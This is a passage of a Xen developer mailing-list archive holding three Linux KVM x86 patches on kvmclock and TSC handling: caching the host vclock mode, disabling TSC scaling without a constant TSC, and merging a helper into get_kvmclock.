DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=PztmQVd7JfGl26AYtk1jAuSHUznMXTAvSDcjnSe+xZ4=; b=K5PGIFx5U1QVAmwCsO4S6X5i9m
	KrdApY524qbWvHLTXG00OoYR/tduXR7BgPQaR1DRMCzKakwe3JR5wr47w3wbt8AKrCWuuZMFAwujb
	to/dm+VtSTzMygmAf7O79y5JmgSzSZ3/kPA0U8APaKtVa7lWRiNR8TKJLDCoYW7qtwfMCVzpJAHEU
	kgQ639EC877RBgEVLM2n+mK7pEfgWIjCBllwV4cDnDgmRTGX+J5rP230DDxHzaZwmpeRsOmR+mtn3
	6BqVuCzS9yqmwSNYNU/ShFyoVeVSVMtNg46oNX5foeGhGcgjyAjOhulSVozE/uSX7fghTM+jga1J8
	pK7m3sFQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 26/36] KVM: x86: Cache host vclock_mode for masterclock eligibility checks
Date: Tue, 28 Jul 2026 15:40:06 +0100
Message-ID: <20260728144954.355376-27-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-c1860d/1785250218-D6B4187B-4CA65E86/0/0
X-purgate-type: clean
X-purgate-size: 4111

From: David Woodhouse <dwmw@amazon.co.uk>

The remaining users of pvclock_gtod_data only need to know whether
the host clocksource is TSC-based. Cache the vclock_mode value in a
simple kvm_host_vclock_mode variable, updated by the pvclock_gtod_notify
callback, and use gtod_is_based_on_tsc() for eligibility checks.

This is inherently racy (as it always was â€” kvm_track_tsc_matching
never held the gtod seqcount), relying on eventual consistency: the
notifier fires on every timekeeping update and will correct any
transient inconsistency within one tick.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro (claude-opus-4.6-1m)
---
 arch/x86/kvm/x86.c | 23 +++++++++++++----------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index a64e5a596a4e..ee992c073b6d 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1106,6 +1106,8 @@ static u64 compute_guest_tsc(struct kvm_vcpu *vcpu, s64 kernel_ns)
 }
 
 #ifdef CONFIG_X86_64
+static int kvm_host_vclock_mode;
+
 static inline bool gtod_is_based_on_tsc(int mode)
 {
 	return mode == VDSO_CLOCKMODE_TSC || mode == VDSO_CLOCKMODE_HVCLOCK;
@@ -1135,7 +1137,6 @@ static bool kvm_use_master_clock(struct kvm *kvm)
 static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 {
 	struct kvm_arch *ka = &vcpu->kvm->arch;
-	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
 	bool prev_matched_tsc = ka->all_vcpus_matched_tsc;
 
 	/*
@@ -1172,7 +1173,7 @@ static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 	 * accounts for its offset.
 	 */
 	bool use_master_clock = kvm_use_master_clock(vcpu->kvm) &&
-				gtod_is_based_on_tsc(gtod->clock.vclock_mode);
+				gtod_is_based_on_tsc(kvm_host_vclock_mode);
 
 	/*
 	 * Request a masterclock update if needed: toggling master clock,
@@ -1185,11 +1186,11 @@ static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool update_mclock)
 
 	trace_kvm_track_tsc(vcpu->vcpu_id, ka->nr_vcpus_matched_tsc,
 			    atomic_read(&vcpu->kvm->online_vcpus),
-		            ka->use_master_clock, gtod->clock.vclock_mode);
+		            ka->use_master_clock, kvm_host_vclock_mode);
 }
 #else
 static inline void kvm_track_tsc_matching(struct kvm_vcpu *vcpu,
-					  bool new_generation) {}
+					  bool update_mclock) {}
 #endif
 
 /*
@@ -1309,7 +1310,7 @@ static inline bool kvm_check_tsc_unstable(void)
 	 * TSC is marked unstable when we're running on Hyper-V,
 	 * 'TSC page' clocksource is good.
 	 */
-	if (pvclock_gtod_data.clock.vclock_mode == VDSO_CLOCKMODE_HVCLOCK)
+	if (kvm_host_vclock_mode == VDSO_CLOCKMODE_HVCLOCK)
 		return false;
 #endif
 	return check_tsc_unstable();
@@ -1717,7 +1718,6 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 {
 #ifdef CONFIG_X86_64
 	struct kvm_arch *ka = &kvm->arch;
-	int vclock_mode;
 	bool host_tsc_clocksource;
 
 	lockdep_assert_held(&kvm->arch.tsc_write_lock);
@@ -1757,9 +1757,9 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 			ka->use_master_clock = false;
 	}
 
-	vclock_mode = pvclock_gtod_data.clock.vclock_mode;
-	trace_kvm_update_master_clock(ka->use_master_clock, vclock_mode,
-					ka->all_vcpus_matched_freq);
+	trace_kvm_update_master_clock(ka->use_master_clock,
+				     kvm_host_vclock_mode,
+				     ka->all_vcpus_matched_freq);
 #endif
 }
 
@@ -7075,12 +7075,15 @@ static int pvclock_gtod_notify(struct notifier_block *nb, unsigned long unused,
 	update_pvclock_gtod(tk);
 
 #ifdef CONFIG_X86_64
+	kvm_host_vclock_mode =
+		tk->tkr_mono.clock->vdso_clock_mode;
+
 	/*
 	 * Disable master clock if host does not trust, or does not use,
 	 * TSC based clocksource. Delegate queue_work() to irq_work as
 	 * this is invoked with tk_core.seq write held.
 	 */
-	if (!gtod_is_based_on_tsc(pvclock_gtod_data.clock.vclock_mode) &&
+	if (!gtod_is_based_on_tsc(kvm_host_vclock_mode) &&
 	    atomic_read(&kvm_guest_has_master_clock) != 0)
 		irq_work_queue(&pvclock_irq_work);
 #endif
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374519.1621862 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8s-0004lN-Nr; Tue, 28 Jul 2026 14:50:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374519.1621862; Tue, 28 Jul 2026 14:50:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8q-0004cX-N5; Tue, 28 Jul 2026 14:50:48 +0000
Received: by outflank-mailman (input) for mailman id 1374519;
 Tue, 28 Jul 2026 14:50:21 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8O-0007ZH-Ii
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8N-004rRp-Uy; Tue, 28 Jul 2026 16:50:19 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c19c-bab6-0a2a0a5309dd-0a2a4508ad20-48
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:19 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1ab-f659-0a2a45080019-5a9b5cc79fe2-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:19 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052VW-34Y5; Tue, 28 Jul 2026 14:50:09 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UXv-0HsP;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=1Yco73wB/YAFQVFh4qtx3O3nsbhsRJaJSFcRl6aWB0A=; b=V7Ehwcw9eOAULq/s5oipFIX68F
	dC6GgzpKNZbbxDDcVdmqRpaKbDG4gz2XtW2HSqVZ59+FAUfV4SMVr79ynEcIBuzSnDaMD1w8p+d85
	5xjRhx74GdZ256bIKWGpLlkIkTnZMUXICHb4uBu1hs7UiJnYHK9lbmxxvqtFhiLcv7AhFgQ3FWjhp
	eJxe276SjXTMQXwuTuBWJEjs6vyOR4NpGWk6rUR7wx7HF8S6hgHkx6Qiu0Tpt4CzYc+xRXJaHbEdi
	nQIcA+ExBUQNC759eZc5Rd8KUb7Tho/WALx/OycRhV/GO22Au2ATGfiOx+720FIDv3AkvszzylVad
	SlXbDBPw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 02/36] KVM: x86: Explicitly disable TSC scaling without CONSTANT_TSC
Date: Tue, 28 Jul 2026 15:39:42 +0100
Message-ID: <20260728144954.355376-3-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-c1860d/1785250219-CC37587B-84426C70/0/0
X-purgate-type: clean
X-purgate-size: 2365

From: David Woodhouse <dwmw@amazon.co.uk>

KVM does make an attempt to cope with non-constant TSC, and has
notifiers to handle host TSC frequency changes. However, it *only*
adjusts the KVM clock, and doesn't adjust TSC frequency scaling when
the host changes.

This is presumably because non-constant TSCs were fixed in hardware
long before TSC scaling was implemented, so there should never be real
CPUs which have TSC scaling but *not* CONSTANT_TSC.

Such a combination could potentially happen in some odd L1 nesting
environment, but it isn't worth trying to support it. Just make the
dependency explicit.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/svm/svm.c |  3 ++-
 arch/x86/kvm/vmx/vmx.c | 10 ++++++++++
 2 files changed, 12 insertions(+), 1 deletion(-)

diff --git a/arch/x86/kvm/svm/svm.c b/arch/x86/kvm/svm/svm.c
index d68cba12c772..d7fb98a2aaa2 100644
--- a/arch/x86/kvm/svm/svm.c
+++ b/arch/x86/kvm/svm/svm.c
@@ -5624,7 +5624,8 @@ static __init int svm_hardware_setup(void)
 				     XFEATURE_MASK_BNDCSR);
 
 	if (tsc_scaling) {
-		if (!boot_cpu_has(X86_FEATURE_TSCRATEMSR)) {
+		if (!boot_cpu_has(X86_FEATURE_TSCRATEMSR) ||
+		    !boot_cpu_has(X86_FEATURE_CONSTANT_TSC)) {
 			tsc_scaling = false;
 		} else {
 			pr_info("TSC scaling supported\n");
diff --git a/arch/x86/kvm/vmx/vmx.c b/arch/x86/kvm/vmx/vmx.c
index e4b9ac7fed9f..d553537004cf 100644
--- a/arch/x86/kvm/vmx/vmx.c
+++ b/arch/x86/kvm/vmx/vmx.c
@@ -2838,6 +2838,16 @@ static int setup_vmcs_config(struct vmcs_config *vmcs_conf,
 	if (!cpu_has_sgx())
 		_cpu_based_2nd_exec_control &= ~SECONDARY_EXEC_ENCLS_EXITING;
 
+	/*
+	 * KVM doesn't re-derive the TSC scaling ratio when the host TSC
+	 * frequency changes, so TSC scaling is only usable with a constant
+	 * TSC.  Clear the control here rather than in vmx_hardware_setup() so
+	 * that the per-CPU configs recomputed by vmx_check_processor_compat()
+	 * stay consistent with the golden vmcs_config.
+	 */
+	if (!boot_cpu_has(X86_FEATURE_CONSTANT_TSC))
+		_cpu_based_2nd_exec_control &= ~SECONDARY_EXEC_TSC_SCALING;
+
 	if (_cpu_based_exec_control & CPU_BASED_ACTIVATE_TERTIARY_CONTROLS)
 		_cpu_based_3rd_exec_control =
 			adjust_vmx_controls64(KVM_OPTIONAL_VMX_TERTIARY_VM_EXEC_CONTROL,
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374523.1621872 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8w-0005ev-4c; Tue, 28 Jul 2026 14:50:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374523.1621872; Tue, 28 Jul 2026 14:50:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8u-0005X5-OH; Tue, 28 Jul 2026 14:50:52 +0000
Received: by outflank-mailman (input) for mailman id 1374523;
 Tue, 28 Jul 2026 14:50:22 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8Q-0007uz-5U
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8P-00BbHr-ET; Tue, 28 Jul 2026 16:50:21 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a9-2eae-0a2a0a5409dd-0a2a45078656-18
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:21 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1ad-b4ea-0a2a45070019-5a9b5cc789dc-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:21 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052VX-34lM; Tue, 28 Jul 2026 14:50:10 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UY4-0yXn;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=ZtZ9YnYy5dF7af/68gtvS2260R2QcKEKM/9qQa0E+f8=; b=f6dhSniq9iMaTSYwcnoi/N8aIY
	TF1KArsadCgFH4mrrosXc6xm5v/Vv5C7SHH4C5qzhpBTonCLWovpotK+RfSQt6bnTEvJTX1CQ08MC
	RVol+IkLryE4lN8xJG7J2qVj805qXOyEkuSpGf7iWJFa1x7ay2QjL/1uXk5IPqgMuu+O8c/s1re7f
	HQXnA1sr4EQzfKO+wcHuchiFuyJ3N9lP9xgLqiyX2qNlrIqkTSC4rjdgrZNrOQmfAbJMPSGr+5PD4
	nYCHx/dSLvBGMlmRRKk9PfJ2CXRcOFyrJO/JGMPmCC2p2kdj98sgZa3Cc2Fm9r5ajGee06BeO+eNg
	L1T0q7Zg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 05/36] KVM: x86: Fold __get_kvmclock() into get_kvmclock()
Date: Tue, 28 Jul 2026 15:39:45 +0100
Message-ID: <20260728144954.355376-6-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1785250221-352CCAE4-EF88708F/0/0
X-purgate-type: clean
X-purgate-size: 3279

From: David Woodhouse <dwmw@amazon.co.uk>

There is no need for the separate __get_kvmclock() helper; just inline
its body into get_kvmclock() within the seqcount retry loop.

No functional change.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 63 +++++++++++++++++++++-------------------------
 1 file changed, 28 insertions(+), 35 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 71e0653aa447..1a598e99852c 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1650,50 +1650,43 @@ static unsigned long get_cpu_tsc_khz(void)
 		return __this_cpu_read(cpu_tsc_khz);
 }
 
-/* Called within read_seqcount_begin/retry for kvm->pvclock_sc.  */
-static void __get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
+static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
 {
 	struct kvm_arch *ka = &kvm->arch;
 	struct pvclock_vcpu_time_info hv_clock;
+	unsigned int seq;
 
-	/* both __this_cpu_read() and rdtsc() should be on the same cpu */
-	get_cpu();
+	do {
+		seq = read_seqcount_begin(&ka->pvclock_sc);
 
-	data->flags = 0;
-	if (ka->use_master_clock &&
-	    (static_cpu_has(X86_FEATURE_CONSTANT_TSC) || __this_cpu_read(cpu_tsc_khz))) {
+		/* both __this_cpu_read() and rdtsc() should be on the same cpu */
+		get_cpu();
+
+		data->flags = 0;
+		if (ka->use_master_clock &&
+		    (static_cpu_has(X86_FEATURE_CONSTANT_TSC) || __this_cpu_read(cpu_tsc_khz))) {
 #ifdef CONFIG_X86_64
-		struct timespec64 ts;
+			struct timespec64 ts;
 
-		if (kvm_get_walltime_and_clockread(&ts, &data->host_tsc)) {
-			data->realtime = ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec;
-			data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC;
-		} else
+			if (kvm_get_walltime_and_clockread(&ts, &data->host_tsc)) {
+				data->realtime = ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec;
+				data->flags |= KVM_CLOCK_REALTIME | KVM_CLOCK_HOST_TSC;
+			} else
 #endif
-		data->host_tsc = rdtsc();
-
-		data->flags |= KVM_CLOCK_TSC_STABLE;
-		hv_clock.tsc_timestamp = ka->master_cycle_now;
-		hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
-		kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
-				   &hv_clock.tsc_shift,
-				   &hv_clock.tsc_to_system_mul);
-		data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
-	} else {
-		data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
-	}
-
-	put_cpu();
-}
-
-static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
-{
-	struct kvm_arch *ka = &kvm->arch;
-	unsigned seq;
+			data->host_tsc = rdtsc();
+
+			data->flags |= KVM_CLOCK_TSC_STABLE;
+			hv_clock.tsc_timestamp = ka->master_cycle_now;
+			hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
+			kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
+					   &hv_clock.tsc_shift,
+					   &hv_clock.tsc_to_system_mul);
+			data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
+		} else {
+			data->clock = get_kvmclock_base_ns() + ka->kvmclock_offset;
+		}
 
-	do {
-		seq = read_seqcount_begin(&ka->pvclock_sc);
-		__get_kvmclock(kvm, data);
+		put_cpu();
 	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
 }
 
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374524.1621879 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8x-0005xG-KM; Tue, 28 Jul 2026 14:50:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374524.1621879; Tue, 28 Jul 2026 14:50:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8w-0005sI-G3; Tue, 28 Jul 2026 14:50:54 +0000
Received: by outflank-mailman (input) for mailman id 1374524;
 Tue, 28 Jul 2026 14:50:24 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8R-0008D4-MM
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8R-004rVO-20; Tue, 28 Jul 2026 16:50:23 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c182-bab6-0a2a0a5309dd-0a2a4504aa18-44
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1ae-b57f-0a2a45040019-5a9b322287a6-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOr-0QkL; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYS-2Nsg;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
